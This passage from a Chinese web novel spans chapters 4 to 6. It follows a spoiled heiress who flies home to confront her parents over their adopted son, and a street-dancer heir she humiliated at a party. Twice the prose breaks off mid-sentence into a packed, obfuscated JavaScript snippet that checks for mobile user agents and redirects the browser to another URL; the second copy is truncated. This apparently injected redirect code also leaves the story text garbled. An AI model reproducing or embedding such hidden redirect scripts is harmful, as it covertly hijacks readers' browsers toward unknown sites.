男人睨着她伸过来的手,嗤笑一声。 “对不起嘛。”她低头看着水里的他,瞳孔亮晶晶的,小声说。 她声音此时倒是出了奇的软,做错了事滑跪得比谁都快,身上那股愚蠢的嚣张也不见踪影了,老老实实地认错,还乖乖伸出手,像是展示诚意一般对着男人露出了柔软的、代表和平的手心。 男人抿着唇,眯着眼,盯着她看了几秒钟。 随后双手撑在几乎到他胸口高度的岸边,一撑就轻松翻了上来。手臂肌肉一瞬间鼓起又迅速隐没下去,动作干净利落,出水的瞬间也没有任何减速和吃力。 辛桐伸出的手就这样晾在了空气中。 周围响起一些不怀好意的笑声,辛桐隐约听见有人嘲笑自己,不由自主缩了缩手指,把那只晾在空气中无人理睬的手默默收了回来。 “叮铃铃——”突如其来的尖锐的手机铃声划破尴尬的氛围,辛桐掏出震个不停的手机,只见上面明晃晃“宋青云”三个大字,正是自己在国内的死党损友。 按了接通键,对面凄厉尖锐的嚎叫直击耳膜。 “大事不好!” “你爸妈原来这么多年在外面瞒着你收养了一个十八岁的儿子!” ? 辛桐皱眉,“你喝多了?” 对面痛心疾首怒骂她没良心,“我为了给你传递消息特地躲到厕所给你打这通电话的!你等着,我现在就回去大厅拍给你看!” 语音被转成了视频,拍摄视角躲躲藏藏鬼鬼祟祟,由于拍摄者情绪激动还抖个不停。 辛桐皱着眉头盯着手机屏幕,只见金碧辉煌的大厅中间,自己亲爸和亲妈正装加身红光满面,正搂着一个一表人才、沉静矜贵的年轻男孩。三人站在一起其乐融融,俨然温馨和美的一家三口。 “你爸妈给圈子里几乎所有人都发了请帖,业内几乎所有大佬和生意伙伴都来了,然后就在所有人面前承认了一个领养子,说这是自己的儿子,今天终于认祖归宗!” ——“你要有弟弟了!” 电话被挂断。 辛桐脸色阴沉,倏地站起身。 “留子生活暂停,回国抢家产去了。” 4. 第 4 章 深蓝色的迈巴赫停在独栋别墅门口。 喻承锦坐在后座,疲乏地捏了捏眉心。昨天party开到太晚,又发生了一堆出乎人意料的意外事件,身为主人要处理后续,自然是一整晚都没怎么休息。 从小到大参加的聚会酒会也是够多了,但是喻承锦都没有经历过这么惊险刺激的夜晚。 一个晚上的时间,有人不请自来还点裸男男模,有人晕倒生死未卜,有人被从二楼扔了下来,有人被踢进了泳池……最后宾客不多,但是几乎每一位走的时候都是带着笑容走的,手指飞快地在手机屏幕上打字,吃瓜吃得不亦乐乎。 不用想就知道,昨晚party上发生的一切,应该已经在圈子里被当成连环八卦分享得人尽皆知了。 而造成这一切意外事件的最中心人物——国内服装行业的龙头老大,森川集团家的独女千金。 竟然在接了一通电话以后,就丢下被她搅得一团乱的party,头也不回,潇洒地离开了。 ——只留下主人公喻承锦叹着气收拾残局。 不过,他觉得心情最差的似乎还不是他。 窗外阳光正好,喻承锦眯着眼,看见一个高高瘦瘦的男人从别墅门口出来。 冷帽遮挡了近乎80%的头,边缘浅浅溢出几缕散乱的金发,黑色墨镜显得整个人沉冷无比,插着兜踏着步子朝迈巴赫走来。 “砰——” 车门被打开又关上,男人坐进后座,紧抿着唇一言不发,整张凌厉锋利的脸都被藏在墨镜下,光是靠近他周围就觉得气温仿佛低了五度。 喏,心情最差的人来了。 喻承锦侧过头,看着这位心情比他还差的大少爷,憋着笑打了个招呼。 “睡得好吗?” 哪壶不开提哪壶。 大少爷烦躁地从鼻子里哼出一个气音,算作回答。 被当成男模鸭子摸腹肌拍屁股,被当众踢进了泳池,最后还被围观人群认出来身份…… 现在估计网上估计都有“知名街舞舞者Aiden现身喻氏公子旧金山私家聚会”的帖子,然后下面就是自己在游泳池里浑身湿透的狼狈模样。 迈巴赫开始平稳行驶。窗外微风吹过,阳光暖意融融,他脸侧的金色发丝在阳光的照耀下近乎白得透明。 江崇焰睨着窗外飞驰而过的树木和道路,一把按下了按钮。黑色遮光板缓缓升起,他那张面无表情的冷厉的脸逐渐藏在暗处。 “……”喻承锦侧头看着他,脸上闪过难得一见的兴味笑意。 从来都是别人不敢惹江崇焰,他还从未见到江崇焰这么吃瘪的样子,于是继续饶有兴趣地问道:“你和那位辛桐大小姐是旧相识?” “辛桐”这两个关键字一问出来,他就看见,江崇焰刚刚还只是算得上不好看的脸色,立即变得像锅底一样黑。 “你说呢。” 大少爷挤出三个字,几乎是咬着后槽牙说出来的, “我根本就不认识她!” “嗯,不认识。结果第一次见面就把你当成男模了,浑身上下揩油了个遍。” 喻承锦忍住笑意,认真想想其实也觉得辛桐情有可原。毕竟当时现场就两类人,要么是二代,要么是男模。他们这个圈子确实有长得好看的,但是并不会把维持好看和外貌当作是什么重要的日程,只要整洁大方即可。 至于费劲维持美貌和努力打扮自己,是失权者才会做的事。 而江崇焰这种极其出众的长相条件,还偏偏就喜欢各种潮流配饰和穿搭打扮,确实与圈子里其他男性二代格格不入,并且让人误以为从事的是靠脸吃饭的职业。 “之前你不也把人家从二楼扔下去了吗,现在你们俩扯平了。” 喻承锦叹口气,“她是何川的女儿,森川这几年生意越做越大,真结下梁子了不好收场。” “不过。我倒觉得她没怎么生气,贪玩儿的属性居多。”喻公子回忆了一下昨晚和那位大小姐相处的全过程,笑得温润,“她还挺有趣的。” ——“有、趣?” 喻承锦听见坐在他身侧的男人一字一顿,咬着牙咀嚼着这两个字。 车稳稳停下,男人立刻打开车门走下车,手插着裤子口袋,只给喻承锦留下一个酷到不行的背影。 “大少爷。”喻承锦暗自摇摇头,按下车窗对那人的背影说,“我亲自送你来机场,好歹跟我说个再见吧?” 那人停下脚步,转过头,漫不经心地冲他微微抬抬下巴,神色和缓了很多。 “下次回国找我,给你接风。” “你家那位江老爷子问你什么时候回去。”喻承锦终于开口,声音温和,说出了最主要的目的,“电话都打到我这来了。” “……”男人脸上那点不多的笑容立刻僵住了,随后迅速转过身,只留下一个冷酷厉然的背影。 * 江崇焰插着兜,一路走过安检的时候手都没拿出来。地勤看见他两手空空,连个袋子和包都没有,还特地问了一下有没有托运行李,特地确认了两三遍。 临走的时候他听见那老外叽里咕噜说了两句什么,还盯着他手看。 听不懂。他英语差,懒得学。 不过就算听不懂,他也知道在那老外在说什么。十几个小时从旧金山到中国梧城的长途飞行,此人居然一个包都没带,两手空空插着裤兜就过来了,潇洒得像个homeless。 江崇焰上了飞机就开始睡觉。头等舱很安静,空姐很贴心地铺好了床,他戴上眼罩睡得天昏地暗。 不知不觉中他好像听见什么声音,是中文。 是个女声。柔柔的,说着话。 他一个翻身坐起来,右手一把掀起眼罩,微微眯起眼睛,很快适应了周围的光线。 天色大亮了。他一觉睡到了白天。 拉开隔板一看,女声是从对面的舱位里传出来的,也是头等舱的乘客,似乎是在打电话。他意识还不太清醒,懒散倦怠地靠着,听着那人断断续续地讲。 “……气死我了,我必须回去找他们要说法……” “我都要被他们抛弃了!他们小号都练好了,养在外面十几年都不告诉我!” “别提了!都这种时候了你怎么还想着party!赶紧想想我回去以后的处境吧我请问!” “艳遇艳遇,都这时候了你还问我有没有艳遇!你脑子里怎么就这些男欢女爱风流之事?宋青云你真是比我还草包!” “好吧,确实有艳遇。嘿嘿,哈哈,哈哈哈哈!” 空姐正在这时出现,蹲下身子满脸微笑,问,“Wouldyoulikesomethingtodrink?” 江崇焰要了一杯可乐,高大的身形一整个没骨头般懒散地躺靠在床上,好整以暇地听隔壁陌生乘客的八卦。 结果冰可乐才刚刚进嘴一秒钟,他就听见那个女声紧接着说: “哎呀,这艳遇对象,说起来你应该也知道,就是那个跳街舞的很有名的,叫A吧啦……” 可乐瞬间被呛进喉管,他紧皱着眉,动作停滞,裤子被打湿洇出深色的痕迹。 “……” 冤家路窄。 这四个字突如其来地蹦进他脑子。 昨晚把自己害得那么惨的罪魁祸首邪恶女人,此时此刻就和他同一班机回国,同样的出发地,同样的目的地,同样的头等舱,一左一右,隔着微妙的两米距离。 人生中第一次被女人摸了身体,怎么不算失了贞洁又失了名声呢? 江大少爷在心里恶狠狠地想。 可乐被仰头干掉,纸杯被修长瘦 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“我还有三个小时下飞机,预计五个小时后到你们那里。你记住,这个计划叫做‘清冷白月光归国’计划,我就是那个白月光,第一章回国,我要夺回我失去的一切!西红柿小说和八狗小说什么效果,我就要什么效果……” “我要在众人面前艳压群芳艳惊四座,来一个惊艳亮相,然后你在我旁边喊辛——妃——回——宫——” 聒噪。 江崇焰皱皱眉。 他找遍了身上的耳机,只可惜他浑身上下两手空空什么行李也没有,也懒得去找空姐要。 他清清楚楚地知道自己对于那女人的事一点也不感兴趣,也完全不想知道她的任何私事,可是现在的情况就是他已经全部都听到了。 到底什么原因,让这女人昨晚要这么急匆匆地离开北美回国?没记错的话,她应该和喻承锦一样,都在旧金山读书。 江崇焰不由自主想起昨晚的事。 在泳池里,那女人准备伸手拉他上来的时候,正好接了一个电话。当时现场人群喧闹,没人听见那通电话打了什么,所以也没人知道她为什么沉着脸就直接离开了。 除了他。因为,他当时离她最近。 池水冰凉,他浑身湿透着上岸,发现辛桐正皱着眉头盯着手机屏幕。他扫了一眼,发现屏幕中央镜头晃晃悠悠,画面一闪而过,只能看见森川集团董事长何川搂着一个年轻男孩,亲密得像亲生父子,笑得春风得意。 “留子生活暂停,回国抢家产去了。” 这是昨晚那个邪恶女人留给所有人的最后一句话。 ……想到这里,江崇焰靠在座位上,修长的手指轻轻敲了一下扶手。他大概已经全部都猜到了整件事的来龙去脉。 怪不得。江崇焰漫不经心地听着旁边传来的女声,对她所谓的“清冷白月光归国”计划嗤之以鼻。 她还真以为回国就能挽救一切了?都向业内其他生意伙伴公开了,相当于向大众所有人承认了儿子身份。不管是私生子还是领养子,从此就等同于亲生子,在财产继承权上没有任何区别。她要回去抢家产,估计是难上加难。 清冷?白月光? 这五个字跟她有关系吗? 江崇焰想起那女人摸上他腹肌时的那副口水都快流出来的愚蠢样子,冷嗤一声,我看是黄月光吧。 直到空姐又过来问需不需要餐食的时候,江崇焰骤然回过神来,惊觉自己竟然已经在不由自主地开始思考那女人的私事了。 意识到这一点的时候,他脸色一下子变得非常难看。 操。他一点兴趣都没有。 江崇焰又要了一杯冰可乐,仰头直接灌了下去,喉结上下滚了滚,随后重重地把被子“啪——”地放在桌子上,黑着脸皱着眉,翻身把头埋进了被子里。 5. 第 5 章 中国梧城,帝国酒店。 富丽堂皇的明亮大厅,人群西装革履,正装加身,三三两两举着香槟杯。 江诚一个人站在角落里。 可是即使是站在角落,也依然不断有各集团老总朝他的方向走过来,和他举杯问好。 问了几句近况,到最后一定会问到家里老爷子身体如何,并旁敲侧击问问有没有机会找老爷子做一套全定制。 江诚笑得诚恳,说老爷子年岁渐长,已不再接单。若不嫌弃,可以直接找他来做,一年后就有排期。 等不到江老爷子,等得到江诚也很好了!那人忙不迭应下来了,忙说等消息随时可联系,满面笑意地就走了。 没过不久,吴氏董事长也主动过来问好,指着身边一个娇小年轻的女孩。 “我女儿。思枫,叫江叔叔。” 江诚笑着回了两句孩子在哪读书,实际上看见吴氏董事长把自己千金带过来的时候就已经开始有心理预期了。果然下一秒就听见吴氏董事长状似不经意地问, “崇焰今天还是不来?” 江诚表情没有破绽,“来。等会就到。这小子不知道每天忙些什么,现在人刚下飞机。” “哦?” 吴氏董事长有些惊讶,明显心情好了起来,“之前从来不见崇焰参加这种场合的。” 他转头对吴思枫说,“江叔叔儿子,江崇焰,比你大几岁。你们到时候认识认识。” 看上去简简单单几句话,实际上在场三个人都懂什么意思。十几岁二十岁的年轻女孩男孩之间,还要怎么认识?当然是看看有没有机会发展恋爱关系。 江诚看着那位才17岁的吴家小姐对自己的父亲敷衍地点头,小女孩年纪太小都还没成年,心思怎么可能放在这上面,现在说这些还太早。 只是吴思枫是小孩,但是吴氏董事长却是生意人,既然今天说出了口,估计是心里早已有计划。二代社交圈十分固定,在平常人看来是“早恋”的行为,在豪门圈层里却是被允许甚至推动的。富二代之间的恋爱关系会再次巩固双方家族企业合作,结婚生子是既定的人生规划。 江诚知道对方在借此观察自己的表情,却还是不动声色挡了回去。不为别的,他家里那位祖宗,人生大事还真不是他这个父亲能说了算的。 下一秒大厅门就打开,他朝门口望去。 一眼见到了那个高大的身影,这才松了一口气。 江崇焰低着头,走进了宴会大厅。 一身街头嘻哈风格的打扮让他与整个环境格格不入,加上他个子高挑,样貌英俊,很快就吸引了好几道目光。 又是这种场合。江崇焰淡淡扫了一圈周围西装革履的人,眸子沉冷地垂下。 他不喜欢这种虚假的社交商业场合,一直以来都是能避就避。好在凭着江家这棵大树,也没人敢说什么,所以江诚一直都只是嘴上斥几句,实际上都由他去了。 因此他在整个圈子里都甚少露面,很多人都不知道江家这一辈唯一的继承人江崇焰到底长什么样子。 今天如果不是江诚语气严肃说是“重要人物宴请,必须来”下了死命令,他现在人已经在舞室了。 江崇焰双手插着口袋,迈步朝着角落里的父亲走过去。 “爸。” “什么打扮!乱七八糟的!”江诚恨铁不成钢地盯着面前高大少年耳朵上闪闪发光的黑色耳骨链,脸都黑了好几个度,“把你这帽子给我摘了!懂不懂礼貌!” 江崇焰挑挑眉,把一句“就是懂礼貌才戴上的”给咽了回去,从善如流地伸手把帽子摘了下来。 “!”江诚被这一头异常耀眼的金色头发闪得脸都黑了,捂住心口,气得颤巍巍,“停!……别摘了!给我戴回去!” 江崇焰低笑了声。非常孝顺地又重新戴上了。 突然旁边传来一声女声尖叫。 “啊——” 吴思枫捂住嘴,眼睛睁得巨大,说话声音都打结。 “你……你是Aiden!” 江崇焰眸子迅速冷了下来。 冲那边扫了一下,和吴思枫的眼神对撞上,一秒钟就确定自己不认识她,又淡漠移开。 被认出来的当事人冷着脸不语,脊背还是挺得笔直,表情平静,气场强得周围两米内生人勿近。 吴思枫猛地噤声。周围氛围尴尬。 “谁是Aiden?” 自己父亲探究严厉的目光扫过来,吴思枫立刻意识到自己说错话了,这里没人知道Aiden,于是立刻捂住了嘴,讪笑着,“没什么。我,我认错人了,抱歉。” 此时正好有其他人来找江诚和吴氏董事长碰杯,眼见两位家长离开,吴思枫立刻凑近,语气里难掩激动,“你,你还记得我吗!前天晚上在喻承锦家的聚会上,我们还见过!” 江崇焰退后两步,拉开距离。 目视前方。终于说出两人见面以来的第一句话。 “不认识。” 声音很低,很冷,惜字如金。 吴思枫有一瞬间的失望,可是马上又振作起来,“我是你的粉丝,你之前去洛杉矶比赛当评委,我还去看了那场比赛,就坐在台下!” 跳街舞,用的英文名,一身街头嘻哈风格,收入极不稳定,生活随性叛逆,游戏人间——是连社会传统主流都无法太接受的异类。 遑论豪门二代圈层,只将其视为娱乐圈糊咖小明星之流,连结识都嗤之以鼻。 可是逐渐在街舞圈崭露头角并在22岁那年成为国内最年轻的世界级街舞冠军一战成名之后,天价活动代言邀约竟全部被拒,大师课一票难求。 立体俊美的长相和锋利气质在网上吸引了一大波圈外粉丝,甚至盛传好几位豪门千金撒钱赞助舞团狂追,却依然被彻底无视,高傲叛逆,神秘桀骜。 无数人猜测他的真实出身和中文姓名,可扒遍全网却依然无法找到蛛丝马迹。 “Aiden”这个名字更像是他的一个代号,只要他想,就永远也不会暴露出真实背景。 吴思枫心跳得极快。 她追星Aiden也有一段时间了,这个男人从来不提起任何家庭背景有关的话题。 谁能想到,他居然就是江家这一辈唯一的继承人,那个从不参加任何商业社交活动的江家少爷江崇焰! 她得知了这个大秘密,捂着嘴极其兴奋,“你既然隐瞒身份,那就一定有原因。你放心,作为你的粉丝,我绝对不会背叛你的!我会帮你保守秘密!” 江崇焰不知道今天酒席主人到底是谁。 只是江诚说是“重要人物”,江崇焰才勉为其难忍到现在。 换做平时早就走了。 吴思枫还在他旁边叽叽喳喳,这种小姑娘追星一般的热情令人烦躁,他三秒之内就迅速做了决定,抿唇,转身,头也没回地离开。 不料才迈出几步,吴思枫立刻缠了过来。 “你去哪?” 话问出口,江崇焰竟然看都没看她一眼,绕过去就准备离开。 吴思枫愣了一下又持之以恒追上去拦住,“你是不是不喜欢这种场合呀?从来都没见过你以江家少爷的身份参加过宴会,今天之前圈子里很多人都不知道你长什么样子,好多人都觉得不可思议……” 面前男人身材高大,目视前方,任凭她在旁边叽叽喳喳,完全没有任何理睬她的意思。他长得高,腿也长,走路飞快,吴思枫要很努力才能追上他的速度。 即便如此,她还是不停说道: “但是你今天居然第一次来参加酒会了,唉好吧,想想也合理,毕竟今天是森川收购新品牌的庆祝晚宴,不来不太好……” 男人的脚步瞬间顿住了。 森川。 吴思枫说着说着突然住了嘴,因为她看见刚刚还像根本没听见她说话的男人突然停住脚步,然后深呼吸一口气,嘴角像是扯了起来。 江崇焰竟然有点想笑。 他从小到大从来都没去过任何酒席宴会。 16岁那年,吴氏董事长侄女结婚,鼎盛时期的吴氏发出邀请,几乎整个梧城有点头脸的全去了,门口甚至围了一堆媒体拍照,网络上各种八卦列出了一份长长的随礼名单。 ——然而那天,江崇焰理都没理,在舞室里呆了一天。 那次江诚生了大气,骂他没礼貌没家教,第一次下手打他。 江崇焰受着,就问了一句,“爸,我没去,有人为难你吗?” 江诚哑火了。江诚比谁都清楚,这小子之所以这么肆无忌惮桀骜不驯,把谁都不放在眼里,说白了还不是因为他这个江家独子的身份。江诚之所以打他,是觉得他没礼貌,自己没把他教育好,丢了江家名门望族的脸,而不是因为害怕得罪吴氏。 哪怕是当年鼎盛时期的吴家,看见江崇焰没来,也依然得贴着笑脸迎接江诚。所以在江诚眼里从来就没有什么害怕得罪的人物。 ——然而今天,江诚却把今天宴会主人公形容为“重要人物”,一板一眼的三个字命令下给江崇焰“必须来”。 想来,除了森川集团,还能有哪家企业能让江诚这样重视? 董事长何川亲手打造出的商业帝国,这十年时间越做越大,涉猎收购了众多服装品牌和产业线,比当年鼎盛时期的吴氏产业还多了两倍不止,早已经成为全国服装行业当之无愧的龙头企业。 江崇焰沉沉吐出一口气。 才被那邪恶女人当成可以闝的鸭子摸遍了全身,又被她一脚踢进了泳池,回国又在同一架飞机上遇见被她吵了一路,好不容易落地以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281682|166851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能躲点清净,不料直接躲进了她亲爹办的宴会上。 “……行。” 吴思枫看见男人握着拳头,最后咬着后槽牙低声冷笑了两声。 江崇焰望向宴会厅正前方。 果然下一秒就看见,不远处人群中,一位年近五十的中年男人正站在众人中间,一举一动皆是上位者气场,迎接着周围人对他众星拱月般殷勤的敬酒。 ——正是今晚最大的主人公,何川。 而他旁边,就站着一位约莫十八岁左右的年轻男孩,虽然年纪小但是沉稳持重,端庄有礼,一表人才。 两人站在一起,好一对子承父业、江山后继有人的和谐画面。 江崇焰站在原地,眯着眼看了一会。 “刚刚准备去哪?”江诚沉着脸走回来,压低声音对眼前这个高高大大的定时炸弹强调,“不准先走!” “不走。” 江大少爷像是想明白了什么,回答得很快,声音懒洋洋的。骨节分明的手拿过一杯托盘上的香槟,好整以暇往背后墙上一靠,双腿交叠,仰头喝了一口。 “等着看戏。” 江崇焰眸光闪动一下,像是回忆起什么,最后勾起嘴角。 “看,某人的清冷白月光归国计划,到底实施得怎么样。” * 话音刚落,宴会厅天花板上空突然响起一道“啪”的声音,刚刚还明亮如同白昼的宴会厅,灯光霎时全部暗了下来。 人群中立刻响起零星慌乱的尖叫声和吸气声,影影绰绰只能看见周围人模糊昏暗的身影,所有人都疑惑着四处张望。 “停电了?” “不可能,帝国酒店承办晚宴这么多年,从来没犯过停电这种低级错误。” “难道……有什么惊喜活动?” 人群中响起窸窸簌簌的讨论声,昏暗的环境放大了每个人的好奇心和承受能力,所有人都纷纷环顾四周试图找到一些蛛丝马迹。 不知是谁喊了两声,“看门口!” 大门缓缓拉开,一道白光从外透射进来,一个人影站在入口处。 是个女人。 挺拔修长,身姿聘婷,长裙及地,黑色长发柔顺地披散开来。 柔和耀眼的白光从她身后洒落,给她打上一层淡淡的光晕。她的脸隐藏在昏暗光线之下,若隐若现看不真切,可仅仅一个身影就已经惊艳绝伦。 刚刚还吵闹的大厅瞬间变得安静无比,连呼吸声都仿佛停止了。 所有人的目光全都牢牢聚焦于门口的那个女子身上。 她一步步踩着细碎的光芒向前走。 头顶“啪——”的一束白光倏地打过来,迎着光亮,映出一张温婉清新的脸。丹凤眼上翘,鼻子挺拔,嘴唇饱满,秀发乌黑,清纯脱俗。 “那是……辛桐?” “没错,就是辛桐!” “天哪!她不是在国外留学吗?” “她回来了!辛桐回来了!” 密密麻麻的讨论声终于开始打破安静,众人不可置信地看着那位已经成为全场焦点的清丽身影。那位草包之名由来已久,梧城无人不知无人不晓,蠢货低俗的标签之下,没人发现她竟然已经出落得如此标致动人。 “……”吴思枫站在人群中,望向那个身影,神色震惊。 尽管心底再对这个蠢货草包厌恶至极,可是她此刻也不得不承认,辛桐出现在这里似乎很合理。 她是富贾名媛,是森川唯一的千金继承人,承受最多的嘲笑,也享受最多的俯首帖耳。 顶级豪门千金归国,在众人惊讶的吸气声和感叹声中惊艳亮相,吸引走了所有人的目光,成为全场焦点。 ——没错,这就是宋青云给辛桐想出来的“清冷白月光归国”计划。 太完美了。 辛桐踩着八厘米的高跟鞋,享受着全场所有人的注视和惊叹。她的目光穿过长长的宴会大厅,果然在昏暗的灯光尽头,看见了自己父亲脸上震惊的神色。 哼,就是要这种效果。辛桐露出了志在必得的微笑。 可是下一秒,腿骤然像是被什么东西用力钉住,怎么也抬不起来。 辛桐动作一顿,停下脚步,低头一看——她的高跟鞋尖锐的鞋跟竟然卡在了地面坡板连接处的狭窄缝隙里。 ?! 她用力地扯,可是怎么也拔不出来。 额头上出现了细细密密的汗,她一咬牙,使劲一抬,她整个人以一种极其诡异的姿势,在众目睽睽之下,摔了个龇牙咧嘴。 全场寂静三秒。 随后哄堂大笑。 “宋青云!!” 辛桐光着右脚,狼狈地坐在地上,指着地面上被卡在缝隙里的高跟鞋,冲着门外某处怒吼,“看看你做的豆腐渣工程!” 6. 第 6 章 “噗哈哈哈!” “刚刚还真是高看她了,走个路都能摔跤,真是蠢货一个。” “我这替人尴尬的毛病什么时候才能改……” “快看快看!何川的表情!看上去都要发火了!” “我都同情何总了,在自己公司的庆祝晚宴上,亲眼看着自己女儿当众出丑,这尴尬程度……” “怪不得前两天那么大阵仗公布领养子,亲生的都不要反而要领养的,就他女儿这智商怎么能继承家业?这么大的森川交给她,估计没几天就赔得底裤都不剩了。” “宋青云?难道是宋氏那家的小姐?” “对,就是她。从小就跟辛桐鬼混在一起,两个人都一样蠢。不过宋家早就有后手了,估计到时候家产全是长子的。宋青云还是就老老实实当她的吉祥物花瓶大小姐吧。” 辛桐咬着牙,坐在地上,看着大门迅速打开,随后缝隙里溜进了一个鬼鬼祟祟的身影。 可爱短发,穿着粉色短款礼服裙,弯着腰小碎步跑到辛桐身边,试图赶紧把她拉起来。 “用点力呀!宋青云!” 辛桐只穿着一只高跟鞋,整个人都坐在地上,又穿着裙子,行动极其不便。两个人在地上纠缠许久,毫无默契,弄得气喘吁吁,混作一团。 辛桐喘着气,瞥了一眼自己闺蜜这瘦弱的小身板,瞪她一眼。 “算了,我自己站起来。你先去把我的高跟鞋拔出来!” 不靠谱的闺蜜哦哦两声,赶紧走到一边,伸出双手,开始用力拔地上那只深深地卡在缝隙里的高跟鞋。 鞋子是设计师手工定制款,上面镶了几百颗钻石,全世界仅此一双,价值连城。 可这种类似的鞋子在辛桐鞋柜里也有十几双了,因此宋青云下手完全没轻没重,手指用力抠进去,“砰”的一声终于把鞋子拔了出来,数颗钻石已经被她生生抠了出来,滚落在地毯上。 等到辛桐终于站起来并且手忙脚乱重新穿好鞋子的时候,人群已经哄笑了好几轮。 “……”她远远看见自己亲爸站在前方,脸色已经黑得像碳,不由得心虚地缩了缩脖子。 好吧,又因为当众犯蠢让她爸难堪了,等会回家估计又要被骂损害企业和家族名声。 不过辛桐几秒钟就调理好了。 毕竟她人生前22年都是这样犯蠢过来的,梧城谁都知道她这草包千金的名头,不容她放肆也放肆多回了。 哼。绝不内耗。 辛桐挺起胸脯,抱胸,对着周围嘲笑她的人群抬抬下巴,露出一个和之前进场时一样自信的、毫无破绽的表情,像只骄傲的企鹅。 众人围观之下,她一步步走到大厅尽头。 何川就站在她面前,脸色铁青。 而何川旁边,站着一个年轻男孩,高高瘦瘦,身姿挺拔,西装革履。 ——正是她那个初次见面的毫无血缘关系的便宜弟弟,也是她此次回国最主要的原因。 辛桐眯起眼睛打量他。 长得还行。 但是比起她,那可是差远了! 她把自己想象成华妃,极其轻蔑地瞪了他一眼,试图从自己猛虎般凶神恶煞的眼神里散发出威胁来吓他。 却不想对方年纪轻轻却镇定自若,甚至还扬起了一个风轻云淡的微笑。 “姐姐。” ?谁是你姐姐!真不要脸! 辛桐打了个趔趄,气得鬼火直冒。 她看对方长得高,有一米八以上,自己落入下风,气场也比不过了,于是逼近一步踮起脚尖,脸凑到他脖颈处的位置,发射出了这辈子最凶狠的眼神,试图扳回一局。 却不想,对方看见她这个样子,眼里却闪过一丝人畜无害的笑,微微低下头,在她耳边轻声说: “姐姐。” “你假睫毛好像飞了。” “你!”辛桐一口气没上来,骂人的话还没说出来,就突然被身边声如洪钟的低沉声音打断。 ——“好了!” 何川眉头紧锁,脸色阴沉,厉声喝止。 “桐桐,不要再闹了。” “今晚是森川收购新品牌的庆祝晚宴,这么多人都在看着!” “你现在像什么样子!” 何川沉着眉,盯着面前这两人。 一个从小到大成日惹事,行事荒唐处处风流,今夜更是瞒着他回国,晚宴上当众出丑摔跤引发众人哄笑,现在头发散乱,鞋子歪扭,哪有一点豪门千金的样子。 另一个,芝兰玉树身姿挺拔,尽管才18岁,比辛桐小了足足四岁,但是周身气度不知道比辛桐成熟了多少,宠辱不惊临危不乱,席间受到多方赞誉,一表人才,沉稳大气。 ……两相一对比,他越看自己这废物女儿越来气。 “辛桐。” 何川按着乱跳的眉头,烦琐般叹气,沉声道,“你太不争气了。” 辛桐一愣。都喊她全名了,看来她爸是真的生气了。 她迅速抓住何川的手,神色认真。 “爸爸。你要相信我,其实我是个潜力股。” 她语出惊人,三年未见,回国第一句话就是: “请把家产都给我。” “……”何川像是终于失去了和这废物女儿交流的欲望,毫无耐心地冲旁边一挥手,立刻就上来一个司仪出来主持局面。 一溜服务员鱼贯而入,端着盘子上菜,众位宾客终于不再关注何川家里啼笑皆非的私事,宴席总算走入正轨。 * 酒过三巡,宾客三三两两离开,整个大厅里逐渐只剩下何川一家人。 “闹了这么一通,到底想说什么。” 何川背对着辛桐,声音沉沉。 大厅空旷,喧闹宴会后只剩寂静。有些正事,在抛开了外人之后,也应该开诚布公地摆到明面上谈清楚。 自己亲生父母瞒着自己在外面领养了一个男孩,养了十几年,等到一成年立刻迫不及待大摆筵席给圈内所有合作伙伴和公众介绍,坐实儿子身份。甚至如果不是好友来告知,她或许到现在都懵然不知。 辛桐无法对这件事抱有任何积极的猜测。 委屈和愤怒一股脑涌上来,她看着对面的亲生父母,“为什么要瞒着我!” 许是知道这件事确实是自己和丈夫做得不对,到底还是伤了孩子的心,母亲辛文清犹豫几秒还是温和措着辞,“桐桐,你别生气……你要体谅爸爸妈妈的难处,爸爸妈妈不是有意要瞒你的,就是怕你会这样所以才没告诉你……” “宋家那女孩告诉你的吧。” 何川直接打断辛文清的话,缓缓看了辛桐一眼。 “本来你在国外好好的,你不知道,大家都相安无事。现在你在宴会上一闹,明天整个梧城全都知道了,关于何家家族不和的消息就能传得满城风雨。” 辛桐愣住了。 她以为自己听错了。 怕她会生气,怕她不同意会闹,所以就名正言顺不用告诉她。 原来在她亲爸眼里,她回国要说法这件事,是在无理取闹,是在给家族蒙羞。只要她不知道,那么他们一家三口就能继续在国内和和美美。原来到头来,那个成为恶人的只有她。 宴会大厅空旷寂静,天花板上昂贵的水晶灯通透耀眼。 有一些无法阻止的情绪慢慢涌上来,辛桐觉得自己有点呼吸不上来。 在外人眼里,无论辛桐做什么荒唐的事情,何川都不会生气,反而变本加厉娇生惯养,梧城所有人都笑称何川是个女儿奴。而现在,她难以相信疼爱自己多年的父亲怎么一下子变得这样陌生。 “为什么要领养他!” 指甲嵌进肉里,她终是没忍住吼出了心底最直接的问题。 这句话一出,周围却骤然陷入了几秒钟的死寂。 “桐桐,我们先回家吧。” 辛文清几秒钟后才开口打破沉默,试图去拉辛桐的手,“跟妈妈回家吧,你一路回国辛苦了,让阿姨给你做你最喜欢的甜品好不好?” 辛桐站在原地,躲开了自己妈妈的手。 她像一个执拗淋雨的小孩,固执地想要一个回答。 “为什么要领养他。”声音有点抖。 她回国之前做了反复多次的心理准备,告诉自己爸妈或许有苦衷,或许有什么别的原因,或许……她找了无数的理由,她带着这样的希冀,怒气冲冲回国,想要从一向疼爱自己的父母口中寻求一个解释。 沉默中,有人笑了一声。是何川。 “你说呢。” 比起自己的愤怒,何川竟然笑得非常自然。 辛桐的心一点点沉了下去。 果然,果然是这样。 那些给自己爸妈东拼西凑找的理由全都像玻璃碎片一样散落,她从自己爸爸那个直白到有些残忍的笑里,看到了最直接的事实。 “我和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 